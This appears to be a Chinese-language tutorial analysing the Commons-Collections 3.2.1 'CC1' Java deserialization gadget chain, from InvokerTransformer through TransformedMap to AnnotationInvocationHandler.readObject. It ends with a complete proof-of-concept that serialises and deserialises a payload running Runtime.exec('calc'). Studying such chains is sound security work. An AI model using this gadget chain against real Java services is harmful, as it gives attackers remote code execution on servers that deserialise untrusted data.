Commons-Collections链_1分析
cc1链
1.简介
1.反序列化漏洞成因:java对象在数据传输的过程中,服务端会对传输过来的java对象进行反序列化,此时服务端的反序列化的readObject方法被调用,若是服务端对readObject对象进行了重写,将可能导致序列化数据流中的一些危险操作被执行。
2.reflection:java反射是一种在运行时动态加载类并获取类详细信息,进而操作类或对象的属性和方法的技术。通过反射,可以在运行时动态地创建对象并调用其属性,而不需要提前在编译期知道运行的对象是谁。反射机制的核心是通过JVM获取Class对象,然后通过Class对象进行反编译,获取对象的各种信息。
通俗来说,对象可以通过反射获取他的类,类可以通过反射拿到他的所有方法(包括私有方法)。
“动态特性”:引用p神的一句话叫 一段代码,改变其中的变量,将会导致这段代码产生功能性的变化,我们称之为动态特性。举一个简单的php例子就是一句话木马
3.cc链介绍:java反序列化的cc链通常是指apache commons-collections组件下的反序列化漏洞,这个组件封装了一些java的collection,也就是集合的相关类。组件内的transfrom接口及实现该接口ConstantTransformer,InvokerTransformer,ChainTransformer三个类可组合调用Runtime.exec方法进行命令执行。
因此,必须要实现入口类序列化接口,并重写了readObject函数
4.漏洞复现环境:
jdk 1.8.0_65 (jdk 8u65)
maven:commens-collections 3.2.1
2.利用链
从利用链的最后往前分析,也就是从命令执行的逻辑部分开始分析,一直到反序列化的入口处结束。
1.Transformer
Transformer是一个接口,声明了一个接受可控object类型的方法transform
2.InvokeTransformer
即援引Transformer,位置:
org.apache.commons.collections.functors.InvokerTransformer
选中Transform ,ctrl+alt+b查看
看一下里面的InvokeTransformer构造方法和transform方法。
public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}//Invoker构造方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}//实现接口的Transform方法
}
InvokerTransfrom是Transfromer的子类
构造方法:InvokerTransformer(方法名,形参class数组,实参object数组)
实现接口的transform方法:调用接收到对象的getClass方法,获取他的类和对象,然后将用该对象的getMethod方法获取该对象的方法名,同时存入形参格式,最后用invoke发方法执行传入的input参数的iMethodName,实参是iArgs。
简单弹个计算器吧:
import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1test {
public static void main(String[] args) {
Class[] paramTypes = {String.class};
Object[] args1 = {"calc"};
InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
it.transform(Runtime.getRuntime());
}
}
但是我们这里是主动调用的transfrom方法,我们需要的是让程序自动调用该方法,请看下文:
3.constantTransformer
这个类的构造方法比较简单,显然,这个类也是Transform类的子类。
简要代码如下:
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}//构造方法:把传过来的Object值赋给iConstant
public Object transform(Object input) {
return iConstant;
}//实现接口的transform方法,收到又返回去
}
4.ChainedTransformer
首先看一下这个类的主要代码:
public class ChainedTransformer implements Transformer, Serializable {
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}//该类构造方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}//实现接口的transform方法
}
这个类的构造方法接受了一个Transformer类型的数组,然后ChainedTransformer的transform方法遍历transformers数组,依次执行每个Tramsformer的transform方法,给transform方法一个初始值,然后每个Tramsformer的transform方法的返回值为下一个Tramsformer的transform方法的参数进行执行。
因为java.lang.Runtime类没有实现序列化接口,但是Class类实现了,因此用Runtime.class命令执行:
//利用Transformer类的子类chainedTransformer融合invoke与constant
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class chained {
public static void main(String[] arg) throws NoSuchMethodException,InvocationTargetException,IllegalAccessException,IOException{
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);
}
}
成功调出计算器
又回到之前的问题,我们需要的是自动化调用transform方法,现在转化为了自动调用Chained里的transform
5.TransfromedMap
查找用法来到
org.apache.commons.collections.map.TransformedMap
看一下这个类的构造方法和transform实现
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}//构造方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}
static decorate方法调用了TransformMap的构造方法,返回了一个实例,该实例的checksetValue方法调用了transform方法,构造方法的第三个参数即可获得valueTransformer的值,但是checksetValue方法修饰符是protected,无法调用其他包的无关类,下面我们的问题转化为可以调用checksetValue方法的类。
首先看看父类吧
6.AbstractInputCheckedMapDecorator
这个是TransformedMap的父类
简要代码如下:
abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法,但是setValue方法依然不能直接调用,接着寻找能调用setValue方法的类吧。
7.AnnotationInvocationHandler
对setValue查找用法
刚好找到了readObject反序列化入口,柳暗花明又一村,位于
sun.reflect.annotation.AnnotationInvocationHandler
这个类是 Java 反射机制的一部分,用于实现注解的动态代理。它是一个内部类,不是公开 API 的一部分。
利用链完毕
3.编写POC
步骤如下:
1.创建变换器链:
使用 InvokerTransformer 来调用 Runtime.getRuntime().exec() 方法。
将多个 Transformer 实例链接起来,形成一个链。
2.装饰Map:
使用 TransformedMap.decorate() 方法将变换器链与 Map 结合,这样当从 Map 中获取值时会触发变换器链。
3.利用 AnnotationInvocationHandler:
创建一个 AnnotationInvocationHandler 实例,传入 Map 和注解类型。
4.序列化和反序列化:
将构造好的对象序列化到文件。
再次读取并反序列化此文件,以触发变换器链。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);
/*
AnnotationInvocationHandler
*/
serial(poc);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.ser"));
in.readObject();
}
}
整体的链,给出ysoserial的利用链:
Lazymap中也有构造Map和变换器函数相关方法,这是另一条链了,但是原理大差不差,从readObject到Runtime.exec()完成rce。
4.总结
cc链种类繁多,代码审计一定仔细,从后往前,也许方法不同,但殊途同归。